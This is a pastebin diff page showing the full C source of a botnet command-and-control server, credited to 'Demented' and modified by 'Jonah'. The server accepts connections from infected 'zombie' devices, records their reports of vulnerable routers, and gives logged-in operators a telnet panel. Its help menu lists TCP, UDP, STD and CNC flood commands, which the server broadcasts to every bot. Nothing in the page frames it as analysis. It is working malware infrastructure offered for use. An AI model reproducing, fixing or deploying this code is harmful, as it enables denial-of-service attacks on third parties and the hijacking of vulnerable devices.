View difference between Paste ID: z8Y0zxWs and 47a4HtWs
SHOW: | | - or go back to the newest paste.
1
//Credits to Demented
2
//CONNECTION HANDLER MODIFIED BY Jonah
3
//make a login.txt for logins
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <string.h>
7
#include <sys/types.h>
8
#include <sys/socket.h>
9
#include <netdb.h>
10
#include <unistd.h>
11
#include <time.h>
12
#include <fcntl.h>
13
#include <sys/epoll.h>
14
#include <errno.h>
15
#include <pthread.h>
16
#include <signal.h>
17
#define HACKERZ "V1"
18
#define MAXFDS 1000000
19
char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m"};
20
char *ports[] = {"80", "3075", "443", "22", "53", "3074", "23", "8080"};
21
struct account {
22
char id[20];
23
char password[20];
24
};
25
static struct account accounts[50];
26
struct clientdata_t {
27
uint32_t ip;
28
char build[7];
29
char connected;
30
} clients[MAXFDS];
31
struct telnetdata_t {
32
int connected;
33
int hax;
34
} managements[MAXFDS];
35
static volatile FILE *telFD;
36
static volatile FILE *fileFD;
37
static volatile int epollFD = 0;
38
static volatile int listenFD = 0;
39
static volatile int managesConnected = 0;
40
static volatile int TELFound = 0;
41
static volatile int scannerreport;
42
int fdgets(unsigned char *buffer, int bufferSize, int fd)
43
{
44
int total = 0, got = 1;
45
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
46
return got;
47
}
48
void trim(char *str)
49
{
50
int i;
51
int begin = 0;
52
int end = strlen(str) - 1;
53
while (isspace(str[begin])) begin++;
54
while ((end >= begin) && isspace(str[end])) end--;
55
for (i = begin; i <= end; i++) str[i - begin] = str[i];
56
str[i - begin] = '\0';
57
}
58
static int make_socket_non_blocking (int sfd)
59
{
60
int flags, s;
61
flags = fcntl (sfd, F_GETFL, 0);
62
if (flags == -1)
63
{
64
perror ("fcntl");
65
return -1;
66
}
67
flags |= O_NONBLOCK;
68
s = fcntl (sfd, F_SETFL, flags);
69
if (s == -1)
70
{
71
perror ("fcntl");
72
return -1;
73
}
74
return 0;
75
}
76
int hackz;
77
static int create_and_bind (char *port)
78
{
79
struct addrinfo hints;
80
struct addrinfo *result, *rp;
81
int s, sfd;
82
memset (&hints, 0, sizeof (struct addrinfo));
83
hints.ai_family = AF_UNSPEC;
84
hints.ai_socktype = SOCK_STREAM;
85
hints.ai_flags = AI_PASSIVE;
86
s = getaddrinfo (NULL, port, &hints, &result);
87
if (s != 0)
88
{
89
fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
90
return -1;
91
}
92
for (rp = result; rp != NULL; rp = rp->ai_next)
93
{
94
sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
95
if (sfd == -1) continue;
96
int yes = 1;
97
if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
98
s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
99
if (s == 0)
100
{
101
break;
102
}
103
close (sfd);
104
}
105
if (rp == NULL)
106
{
107
fprintf (stderr, "Could not bind\n");
108
return -1;
109
}
110
freeaddrinfo (result);
111
return sfd;
112
}
113
void broadcast(char *msg, int us, char *sender)
114
{
115
int sendMGM = 1;
116
if(strcmp(msg, "PING") == 0) sendMGM = 0;
117
char *wot = malloc(strlen(msg) + 10);
118
memset(wot, 0, strlen(msg) + 10);
119
strcpy(wot, msg);
120
trim(wot);
121
time_t rawtime;
122
struct tm * timeinfo;
123
time(&rawtime);
124
timeinfo = localtime(&rawtime);
125
char *timestamp = asctime(timeinfo);
126
trim(timestamp);
127
int i;
128
for(i = 0; i < MAXFDS; i++)
129
{
130
if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
131
if(sendMGM && managements[i].connected)
132
{
133
send(i, "\x1b[36m", 5, MSG_NOSIGNAL);
134
send(i, sender, strlen(sender), MSG_NOSIGNAL);
135
send(i, ": ", 2, MSG_NOSIGNAL);
136
}
137
printf("sent to fd: %d\n", i);
138
send(i, msg, strlen(msg), MSG_NOSIGNAL);
139
char *root1[1024];
140
sprintf(root1, "\r\n\x1b[%s-> \x1b[37m ", colorCodes[rand() % 6]);
141
if(sendMGM && managements[i].connected) send(i, root1, strlen(root1), MSG_NOSIGNAL);
142
else send(i, "\n", 1, MSG_NOSIGNAL);
143
}
144
free(wot);
145
}
146
void *epollEventLoop(void *useless)
147
{
148
struct epoll_event event;
149
struct epoll_event *events;
150
int s;
151
events = calloc (MAXFDS, sizeof event);
152
while (1)
153
{
154
int n, i;
155
n = epoll_wait (epollFD, events, MAXFDS, -1);
156
for (i = 0; i < n; i++)
157
{
158
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
159
{
160
clients[events[i].data.fd].connected = 0;
161
close(events[i].data.fd);
162
continue;
163
}
164
else if (listenFD == events[i].data.fd)
165
{
166
while (1)
167
{
168
struct sockaddr in_addr;
169
socklen_t in_len;
170
int infd, ipIndex;
171
in_len = sizeof in_addr;
172
infd = accept (listenFD, &in_addr, &in_len);
173
if (infd == -1)
174
{
175
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
176
else
177
{
178
perror ("accept");
179
break;
180
}
181
}
182
clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
183
int dup = 0;
184
for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
185
{
186
if(!clients[ipIndex].connected || ipIndex == infd) continue;
187
if(clients[ipIndex].ip == clients[infd].ip)
188
{
189
dup = 1;
190
break;
191
}
192
}
193
if(dup)
194
{
195
if(send(infd, "!* KICKMEPLS\r\n", 14, MSG_NOSIGNAL) == -1) { close(infd); continue; }
196
if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
197
close(infd);
198
continue;
199
}
200
s = make_socket_non_blocking (infd);
201
if (s == -1) { close(infd); break; }
202
event.data.fd = infd;
203
event.events = EPOLLIN | EPOLLET;
204
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
205
if (s == -1)
206
{
207
perror ("epoll_ctl");
208
close(infd);
209
break;
210
}
211
clients[infd].connected = 1;
212
send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
213
}
214
continue;
215
}
216
else
217
{
218
int thefd = events[i].data.fd;
219
struct clientdata_t *client = &(clients[thefd]);
220
int done = 0;
221
client->connected = 1;
222
while (1)
223
{
224
int cheats;
225
ssize_t count;
226
char buf[2048];
227
memset(buf, 0, sizeof buf);
228
while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
229
{
230
if(strstr(buf, "\n") == NULL) { done = 1; break; }
231
trim(buf);
232
if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
233
{
234
if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
235
continue;
236
}
237
if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
238
{
239
char *line = strstr(buf, "REPORT ") + 7;
240
fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
241
fflush(telFD);
242
TELFound++;
243
continue;
244
}
245
if(strstr(buf, "PROBING") == buf)
246
{
247
char *line = strstr(buf, "PROBING");
248
scannerreport = 1;
249
continue;
250
}
251
if(strstr(buf, "REMOVING PROBE") == buf)
252
{
253
char *line = strstr(buf, "REMOVING PROBE");
254
scannerreport = 0;
255
continue;
256
}
257
if(strcmp(buf, "PONG") == 0)
258
{
259
continue;
260
}
261
printf("buf: \"%s\"\n", buf);
262
}
263
if (count == -1)
264
{
265
if (errno != EAGAIN)
266
{
267
done = 1;
268
}
269
break;
270
}
271
else if (count == 0)
272
{
273
done = 1;
274
break;
275
}
276
}
277
if (done)
278
{
279
client->connected = 0;
280
close(thefd);
281
}
282
}
283
}
284
}
285
}
286
unsigned int clientsConnected()
287
{
288
int i = 0, total = 0;
289
for(i = 0; i < MAXFDS; i++)
290
{
291
if(!clients[i].connected) continue;
292
total++;
293
}
294
return total;
295
}
296
void *titleWriter(void *sock)
297
{
298
int thefd = (int)sock;
299
char string[2048];
300
while(1)
301
{
302
memset(string, 0, 2048);
303
sprintf(string, "%c]0;[+] Zombies: %d [-] Admins: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
304
if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
305
sleep(2);
306
}
307
}
308
int Search_in_File(char *str)
309
{
310
FILE *fp;
311
int line_num = 0;
312
int find_result = 0, find_line=0;
313
char temp[512];
314
if((fp = fopen("login.txt", "r")) == NULL){
315
return(-1);
316
}
317
while(fgets(temp, 512, fp) != NULL){
318
if((strstr(temp, str)) != NULL){
319
find_result++;
320
find_line = line_num;
321
}
322
line_num++;
323
}
324
if(fp)
325
fclose(fp);
326
if(find_result == 0)return 0;
327
return find_line;
328
}
329
void *telnetWorker(void *sock)
330
{
331
char usernames[80];
332
int thefd = (int)sock;
333
int find_line;
334
managesConnected++;
335
pthread_t title;
336
char counter[2048];
337
memset(counter, 0, 2048);
338
char buf[2048];
339
char* nickstring;
340
char* username;
341
char* password;
342
memset(buf, 0, sizeof buf);
343
char hackz[2048];
344
memset(hackz, 0, 2048);
345
FILE *fp;
346
int i=0;
347
int c;
348
fp=fopen("login.txt", "r"); // format: user pass
349
while(!feof(fp))
350
{
351
c=fgetc(fp);
352
++i;
353
}
354
int j=0;
355
rewind(fp);
356
while(j!=i-1)
357
{
358
fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
359
++j;
360
}
361
sprintf(hackz, "\x1b[%sUsername:\x1b[30m ", colorCodes[(rand() % 6)]);
362
if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
363
if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
364
trim(buf);
365
sprintf(usernames, buf);
366
nickstring = ("%s", buf);
367
find_line = Search_in_File(nickstring);
368
if(strcmp(nickstring, accounts[find_line].id) == 0){
369
sprintf(hackz, "\x1b[%sPassword:\x1b[30m ", colorCodes[(rand() % 6)]);
370
if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
371
if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
372
trim(buf);
373
if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
374
memset(buf, 0, 2048);
375
goto hacker;
376
}
377
failed:
378
if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
379
if(send(thefd, "\x1b[36m Attempting To Log IP Address\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
380
sleep(2);
381
if(send(thefd, "\x1b[36m Successfully Logged Bye Bitch\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
382
sleep(2);
383
goto end;
384
hacker:
385
if (send(thefd, "\x1b[36mLoading Botnet\r\n", 35, MSG_NOSIGNAL) == -1) goto end;
386
sleep(2);
387
pthread_create(&title, NULL, &titleWriter, sock);
388
sprintf(hackz, "\r\n       \x1b[%s\r\n", colorCodes[(rand() % 6)]);
389
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
390
if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;//im a hacker hehehe
391
if (send(thefd, "     `7MMF'  `7MMF'               `7MM                          OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
392
if (send(thefd, "       MM      MM                   MM                          88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
393
if (send(thefd, "       MM      MM   ,6'Yb.  ,p6'bo  MM  ,MP'.gP'Ya `7Mb,od8     ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
394
if (send(thefd, "       MMmmmmmmMM  8)   MM 6M'  OO  MM ;Y  ,M'   Yb  MM' ''     ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
395
if (send(thefd, "       MM      MM   ,pm9MM 8M       MM;Mm  8M''''''  MM         `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
396
if (send(thefd, "       MM      MM  8M   MM YM.    , MM `Mb.YM.    ,  MM         ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
397
if (send(thefd, "     .JMML.  .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML.       db\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
398
sprintf(hackz, "\r\n              \x1b[37m[+]-\x1b[%sWelcome %s To Hacker Net\x1b[37m-[+]\r\n\r\n\x1b[36mPleas Type RULES: \x1b[37m", colorCodes[(rand() % 6)], usernames);
399
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
400
pthread_create(&title, NULL, &titleWriter, sock);
401
managements[thefd].connected = 1;
402
while(fdgets(buf, sizeof buf, thefd) > 0)
403
{
404
if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
405
{
406
sprintf(hackz, "[\x1b[36m+\x1b[37m]  Zombies: %d [\x1b[31m-\x1b[37m] Hackers Online: %d [\x1b[36m+\x1b[37m]\r\n", clientsConnected(), managesConnected);
407
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
408
}
409
if (strncmp(buf, "status", 6) == 0 || strncmp(buf, "STATUS", 6) == 0)
410
{
411
sprintf(hackz, "[\x1b[36m+\x1b[37m] Router: %d [\x1b[31m-\x1b[37m] Router status: % [\x1b[36m+\x1b[37m]\r\n", TELFound, scannerreport);
412
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
413
}
414
if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
415
{
416
sprintf(hackz, "[\x1b[36m+\x1b[37m] Successfully Sent Attack [\x1b[36m+\x1b[37m]\r\n");
417
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
418
}
419
if (strncmp(buf, "rules", 5) == 0 || strncmp(buf, "RULES", 5) == 0)
420
{
421
sprintf(hackz, "Please Read The Following Rules if not will result in ban\r\n1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n2.) DO NOT SPAM THE NET\r\n3.) Have Fucking Fun\r\n");
422
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
423
}
424
if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "menu", 4) == 0)
425
{
426
sprintf(hackz, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n");
427
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
428
sprintf(hackz, "\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n");
429
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
430
sprintf(hackz, "\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n");
431
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
432
sprintf(hackz, "\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
433
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
434
sprintf(hackz, "\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
435
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
436
sprintf(hackz, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n");
437
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
438
sprintf(hackz, "\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
439
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
440
sprintf(hackz, "\x1b[37m!* PORT_SCAN IP | MAKE SURE TO PUT THE IP AT THE END\r\n");
441
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
442
}
443
if(strstr(buf, "PORT_SCAN")) {
444
sleep(2);
445
sprintf(hackz, "Open Ports %s, %s\r\n", ports[(rand() % 8)], ports[(rand() % 8)]);
446
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
447
}
448
if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
449
{
450
sprintf(hackz, "\r\n       \x1b[%s\r\n", colorCodes[(rand() % 6)]);
451
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
452
if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
453
if (send(thefd, "     `7MMF'  `7MMF'               `7MM                          OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
454
if (send(thefd, "       MM      MM                   MM                          88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
455
if (send(thefd, "       MM      MM   ,6'Yb.  ,p6'bo  MM  ,MP'.gP'Ya `7Mb,od8     ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
456
if (send(thefd, "       MMmmmmmmMM  8)   MM 6M'  OO  MM ;Y  ,M'   Yb  MM' ''     ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
457
if (send(thefd, "       MM      MM   ,pm9MM 8M       MM;Mm  8M''''''  MM         `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
458
if (send(thefd, "       MM      MM  8M   MM YM.    , MM `Mb.YM.    ,  MM         ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
459
if (send(thefd, "     .JMML.  .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML.       db\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
460
sprintf(hackz, "\r\n              \x1b[37m[+]-\x1b[%sWelcome %s To Hacker Net\x1b[37m-[+]\r\n\r\n", colorCodes[(rand() % 6)], usernames);
461
if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
462
pthread_create(&title, NULL, &titleWriter, sock);
463
managements[thefd].connected = 1;
464
}
465
if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
466
{
467
goto end;
468
}
469
if (strncmp(buf, "2000", 4) == 0 || strncmp(buf, "2100", 4) == 0 || strncmp(buf, "2200", 4) == 0 || strncmp(buf, "2300", 4) == 0 || strncmp(buf, "2400", 4) == 0 || strncmp(buf, "2500", 4) == 0)
470
{
471
printf("Over Time By %s\n", accounts[find_line].id, buf);
472
FILE *logFile;
473
logFile = fopen("OverTime.log", "a");
474
fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
475
fclose(logFile);
476
goto end;
477
}
478
if(strstr(buf, "LOLNOGTFO"))
479
{
480
printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
481
FILE *logFile;
482
logFile = fopen("KILL.log", "a");
483
fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
484
fclose(logFile);
485
goto end;
486
}
487
if(strstr(buf, "SH"))
488
{
489
printf("ATTEMPT TO SH BOTS BY %s\n", accounts[find_line].id, buf);
490
FILE *logFile;
491
logFile = fopen("SH.log", "a");
492
fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
493
fclose(logFile);
494
goto end;
495
}
496
trim(buf);
497
char *root2[1024];
498
sprintf(root2, "\x1b[%s->\x1b[0;37m ", colorCodes[rand() % 5]);
499
if(send(thefd, root2, strlen(root2), MSG_NOSIGNAL) == -1) goto end;
500
if(strlen(buf) == 0) continue;
501
printf("%s: \"%s\"\n",accounts[find_line].id, buf);
502
FILE *logFile;
503
logFile = fopen("report.log", "a");
504
fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
505
fclose(logFile);
506
broadcast(buf, thefd, usernames);
507
memset(buf, 0, 2048);
508
}
509
end: // cleanup dead socket
510
managements[thefd].connected = 0;
511
close(thefd);
512
managesConnected--;
513
}
514
void *telnetListener(int port)
515
{
516
int sockfd, newsockfd;
517
socklen_t clilen;
518
struct sockaddr_in serv_addr, cli_addr;
519
sockfd = socket(AF_INET, SOCK_STREAM, 0);
520
if (sockfd < 0) perror("ERROR opening socket");
521
bzero((char *) &serv_addr, sizeof(serv_addr));
522
serv_addr.sin_family = AF_INET;
523
serv_addr.sin_addr.s_addr = INADDR_ANY;
524
serv_addr.sin_port = htons(port);
525
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
526
listen(sockfd,5);
527
clilen = sizeof(cli_addr);
528
while(1)
529
{
530
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
531
if (newsockfd < 0) perror("ERROR on accept");
532
pthread_t thread;
533
pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
534
}
535
}
536
int main (int argc, char *argv[], void *sock)
537
{
538
signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
539
int s, threads, port;
540
struct epoll_event event;
541
if (argc != 4)
542
{
543
fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
544
exit (EXIT_FAILURE);
545
}
546
port = atoi(argv[3]);
547
printf("\x1b[33mHacka Shit By Jonah\x1b[0m\n");
548
telFD = fopen("telnet.txt", "a+");
549
threads = atoi(argv[2]);
550
listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
551
if (listenFD == -1) abort ();
552
s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
553
if (s == -1) abort ();
554
s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
555
if (s == -1)
556
{
557
perror ("listen");
558
abort ();
559
}
560
epollFD = epoll_create1 (0);
561
if (epollFD == -1)
562
{
563
perror ("epoll_create");
564
abort ();
565
}
566
event.data.fd = listenFD;
567
event.events = EPOLLIN | EPOLLET;
568
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
569
if (s == -1)
570
{
571
perror ("epoll_ctl");
572
abort ();
573
}
574
pthread_t thread[threads + 2];
575
while(threads--)
576
{
577
pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
578
}
579
pthread_create(&thread[0], NULL, &telnetListener, port);
580
while(1)
581
{
582
broadcast("PING", -1, "HACKER");
583
sleep(60);
584
}
585
close (listenFD);
586
return EXIT_SUCCESS;
587
}